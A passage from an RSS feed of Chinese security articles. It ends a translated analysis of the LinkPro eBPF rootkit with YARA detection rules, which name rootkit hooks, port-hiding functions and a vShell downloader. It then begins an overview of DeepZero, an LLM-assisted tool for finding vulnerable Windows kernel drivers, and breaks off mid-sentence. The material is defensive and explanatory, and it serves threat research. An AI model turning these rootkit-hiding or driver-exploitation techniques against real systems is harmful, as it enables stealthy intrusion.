href="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis" target="_blank">https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis</a>&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">hash</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7&#34;</span></span><br/><span leaf="">  strings:</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_getdents</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;getdents&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_open</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;open&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_readdir</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;readdir&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_kill</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;kill&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$linkpro</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;.tmp~data&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$file_net</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/proc/net&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$file_persist</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;.system&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$file_cron</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sshids&#34;</span></span><span leaf=""> fullword ascii</span><br/><span leaf="">  condition:</span><br/><span leaf="">    uint32(0) == 0x464c457f and filesize </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf=""> 500KB and elf.type == elf.ET_DYN</span><br/><span leaf="">    and </span><span style="color: rgb(36, 41, 46);"><span leaf="">$linkpro</span></span><br/><span leaf="">    and 2 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$hook</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">    and 2 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$file</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">import </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;elf&#34;</span></span><br/><span leaf="">rule MAL_LinkPro_arpdiag_ELF_KO_Oct25 {</span><br/><span leaf="">  meta:</span><br/><span leaf="">    description = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Detects LinkPro LKM module&#34;</span></span><br/><span leaf="">    author = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CSIRT Synacktiv, Théo Letailleur&#34;</span></span><br/><span leaf="">    date = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2025-10-13&#34;</span></span><br/><span leaf="">    reference = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;<a href="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis" target="_blank">https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis</a>&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">hash</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075&#34;</span></span><br/><span leaf="">  strings:</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_udp6</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;hook_udp6_seq_show&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_udp4</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;hook_udp4_seq_show&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_tcp6</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;hook_tcp6_seq_show&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_tcp4</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;hook_tcp4_seq_show&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$ftrace</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;ftrace_thunk&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hide_entry</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;hide_port_init&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hide_exit</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;hide_port_exit&#34;</span></span><span leaf=""> fullword ascii</span><br/><span leaf="">  condition:</span><br/><span leaf="">    uint32(0) == 0x464c457f and filesize </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf=""> 2MB and elf.type == elf.ET_REL</span><br/><span leaf="">    and </span><span style="color: rgb(36, 41, 46);"><span leaf="">$ftrace</span></span><br/><span leaf="">    and 2 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$hook</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">    and 1 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$hide</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">import </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;elf&#34;</span></span><br/><span leaf="">rule MAL_vGet_ELF_Downloader_Rust_Oct25 {</span><br/><span leaf="">  meta:</span><br/><span leaf="">    description = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Detects vGet Downloader, observed to load vShell&#34;</span></span><br/><span leaf="">    author = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CSIRT Synacktiv, Théo Letailleur&#34;</span></span><br/><span leaf="">    date = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2025-10-13&#34;</span></span><br/><span leaf="">    reference = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;<a href="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis" target="_blank">https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis</a>&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">hash</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;0da5a7d302ca5bc15341f9350a130ce46e18b7f06ca0ecf4a1c37b4029667dbb&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">hash</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;caa4e64ff25466e482192d4b437bd397159e4c7e22990751d2a4fc18a6d95ee2&#34;</span></span><br/><span leaf="">  strings:</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hc_rust</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;RUST_BACKTRACE&#34;</span></span><span leaf="">  fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hc_symlink</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/tmp/.del&#34;</span></span><span leaf="">  fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hc_proxy</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Proxy-Authorization:&#34;</span></span><span leaf="">  fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$lc_crypto_chacha</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;expand 32-byte k&#34;</span></span><span leaf="">  fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$lc_pdfuser</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;cosmanking&#34;</span></span><span leaf="">  fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$lc_local</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;127.0.0.1&#34;</span></span><span leaf=""> fullword ascii</span><br/><span leaf="">  condition:</span><br/><span leaf="">    uint32(0) == 0x464c457f and filesize </span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> 500KB and filesize </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf=""> 3MB</span><br/><span leaf="">    and elf.type == elf.ET_DYN</span><br/><span leaf="">    and all of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$hc</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">    and 1 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$lc</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">}</span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">1. <a href="https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controlle…" target="_blank">https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controlle…</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2. <a href="https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossibl…" target="_blank">https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossibl…</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">3. <a href="https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find…" target="_blank">https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find…</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">4. <a href="https://github.com/Gui774ume/ebpfkit" target="_blank">https://github.com/Gui774ume/ebpfkit</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">5. <a href="https://github.com/bfengj/eBPFeXPLOIT/tree/main" target="_blank">https://github.com/bfengj/eBPFeXPLOIT/tree/main</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">6. <a href="https://www.jenkins.io/security/advisory/2024-01-24/" target="_blank">https://www.jenkins.io/security/advisory/2024-01-24/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">7. <a href="https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html" target="_blank">https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">8. <a href="https://github.com/vnt-dev/vnt" target="_blank">https://github.com/vnt-dev/vnt</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">9. <a href="https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vs…" target="_blank">https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vs…</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">10. <a href="https://www.sysdig.com/blog/unc5174-chinese-threat-actor-vshell" target="_blank">https://www.sysdig.com/blog/unc5174-chinese-threat-actor-vshell</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">11. <a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.snowlight" target="_blank">https://malpedia.caad.fkie.fraunhofer.de/details/elf.snowlight</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">12. <a href="https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_XDP/" target="_blank">https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_XDP/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">13. <a href="https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_SCHED_CLS/" target="_blank">https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_SCHED_CLS/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">14. <a href="https://attack.mitre.org/techniques/T1574/006/" target="_blank">https://attack.mitre.org/techniques/T1574/006/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">15. <a href="https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_TRACEPOINT/" target="_blank">https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_TRACEPOINT/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">16. <a href="https://www.kernel.org/doc/html/latest/trace/kprobes.html#how-does-a-kp…" target="_blank">https://www.kernel.org/doc/html/latest/trace/kprobes.html#how-does-a-kp…</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">17. <a href="https://ebpf-go.dev/" target="_blank">https://ebpf-go.dev/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">18. <a href="https://docs.ebpf.io/linux/concepts/maps/" target="_blank">https://docs.ebpf.io/linux/concepts/maps/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">19. <a href="https://docs.ebpf.io/linux/program-type/" target="_blank">https://docs.ebpf.io/linux/program-type/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">20. <a href="https://docs.ebpf.io/linux/syscall/BPF_LINK_CREATE/" target="_blank">https://docs.ebpf.io/linux/syscall/BPF_LINK_CREATE/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">21. <a href="https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/dirent.h.html" target="_blank">https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/dirent.h.html</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">22. <a href="https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L691" target="_blank">https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L691</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">23. <a href="https://bpftool.dev/" target="_blank">https://bpftool.dev/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">24. <a href="https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L339" target="_blank">https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L339</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">25. <a href="https://www.man7.org/linux/man-pages/man7/bpf-helpers.7.html" target="_blank">https://www.man7.org/linux/man-pages/man7/bpf-helpers.7.html</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">26. <a href="https://github.com/nyrahul/linux-kernel-configs?tab=readme-ov-file#bpf_…" target="_blank">https://github.com/nyrahul/linux-kernel-configs?tab=readme-ov-file#bpf_…</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">27. <a href="https://www.datadoghq.com/blog/xdp-intro/" target="_blank">https://www.datadoghq.com/blog/xdp-intro/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">28. <a href="https://docs.ebpf.io/linux/concepts/pinning/" target="_blank">https://docs.ebpf.io/linux/concepts/pinning/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">29. <a href="https://pkg.go.dev/github.com/cilium/ebpf/link#AttachRawLink" target="_blank">https://pkg.go.dev/github.com/cilium/ebpf/link#AttachRawLink</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">30. <a href="https://github.com/creack/pty?tab=readme-ov-file#shell" target="_blank">https://github.com/creack/pty?tab=readme-ov-file#shell</a></span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">31. <a href="https://github.com/RedTeamPentesting/resocks" target="_blank">https://github.com/RedTeamPentesting/resocks</a></span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e32ad719&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495984%26idx%3D1%26sn%3D375fbdcde44635ee0b7cc08403b10b1e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 05 May 2026 20:04:00 +0800</pubDate>
    </item>
    <item>
      <title>DeepZero: 睡梦中自动化挖掘 Windows 内核驱动的 0day</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495984&amp;idx=2&amp;sn=38cff337862a6436d3ea42c907c7cee6</link>
      <description>DeepZero 是一款基于 Python 的自动化漏洞研究框架,以声明式 YAML 流水线串联 PE 解析、Ghidra 反编译、semgrep 扫描与 LLM 评估,在无人值守下批量挖掘 Windows 内核驱动中的 BYOVD 攻击面与 0day 候选目标。</description>
      <content:encoded><![CDATA[<p><span>Cyber News</span> <span>2026-05-05 20:04</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4688e313&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSia76rrJE81icJQXKnkWbxHibh1P9icCj66FzJqSD7julcJNFiaRSGdFj50sqz3SpHaJLDBUjZpr6Sibmlj5lr811TkOiaJ8Hd95XRLoc%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>DeepZero 是一款基于 Python 的自动化漏洞研究框架,以声明式 YAML 流水线串联 PE 解析、Ghidra 反编译、semgrep 扫描与 LLM 评估,在无人值守下批量挖掘 Windows 内核驱动中的 BYOVD 攻击面与 0day 候选目标。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://cyberwarrior76.substack.com/p/deepzero-automating-zero-day-discovery" target="_blank">https://cyberwarrior76.substack.com/p/deepzero-automating-zero-day-discovery</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Cyber News Network</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在自带漏洞驱动 (Bring Your Own Vulnerable Driver, BYOVD) 攻击已成为勒索软件运营者与民族国家级 APT 惯用利器的当下,开发者 </span><strong><span leaf="">416rehman</span></strong><span leaf="">推出的一个新开源项目正在彻底改写内核漏洞研究的经济格局。</span><strong><span leaf="">DeepZero</span></strong><span leaf="">是一款面向 Python 3.11+ 的自动化漏洞研究框架,它借助 AI agent 对数以千计的 Windows 内核驱动进行原生级别的解析、反编译与分析,从中挖掘可被利用的 IOCTL。它的宣传语 </span><em><span leaf="">&#34;Find zero-days while you sleep&#34; (睡梦中也能挖到 0day)</span></em><span leaf="">并非营销噱头:该框架被明确设计为一个可断点续跑、并行化的流水线引擎,能够在无人值守的情况下持续吞吐海量驱动样本。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文将拆解 DeepZero 究竟做了什么、为何对威胁情报与 DFIR 社区意义重大,以及它在架构层面是如何运作的。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DeepZero 是什么</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DeepZero 是一个面向漏洞研究的 </span><strong><span leaf="">&#34;流水线即 YAML&#34; 编排引擎 (pipeline-as-YAML orchestration engine)</span></strong><span leaf="">。研究人员不必再用脆弱的 bash 胶水脚本把反编译器、静态分析器和 LLM 硬拼在一起,而是以一份 YAML 文件声明分析流水线,由 DeepZero 负责编排、并行、容错与状态持久化。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该项目采用 MIT 许可证,以 Python 为主 (98.9% Python, 1.1% Jinja),可同时在 Windows 与 Linux 上运行,目前共有 124 stars 和 15 forks — 这一数字看似不起眼,却低估了代码库背后的野心。其核心能力包括:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">流水线即 YAML — 以声明式方式串联 ingest、filter、transform 与 LLM 评估等阶段</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过 ThreadPoolExecutor 实现并行执行,且每个阶段的并发度都可单独配置</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">可断点续跑 — 每个样本的状态以原子方式落盘,因此按下 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Ctrl+C</span></code><span leaf="">后重新运行会自动从上次中断处接续</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过 Jinja2 提示词模板与 LiteLLM 集成 LLM (兼容任意供应商)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">处理器可扩展,以 Python 类形式编写,并在 YAML 中按路径引用</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">一个 (开发中 / 实验性) 用于查询运行状态的 REST API</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DeepZero 所瞄准的 BYOVD 难题</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">仓库中随附的旗舰用例是 </span><strong><span leaf="">LOLDrivers pipeline</span></strong><span leaf="">,专门用于在 Windows 内核驱动中搜寻 BYOVD 攻击面。所谓 BYOVD — 攻击者加载一份合法签名却存在漏洞的驱动以获得内核级代码执行权限 — 已被从 Scattered Spider 到朝鲜 Lazarus 关联团伙在内的多个组织武器化。研究界最主要的防御数据库是 loldrivers.io,而 DeepZero 明确将其作为 </span><em><span 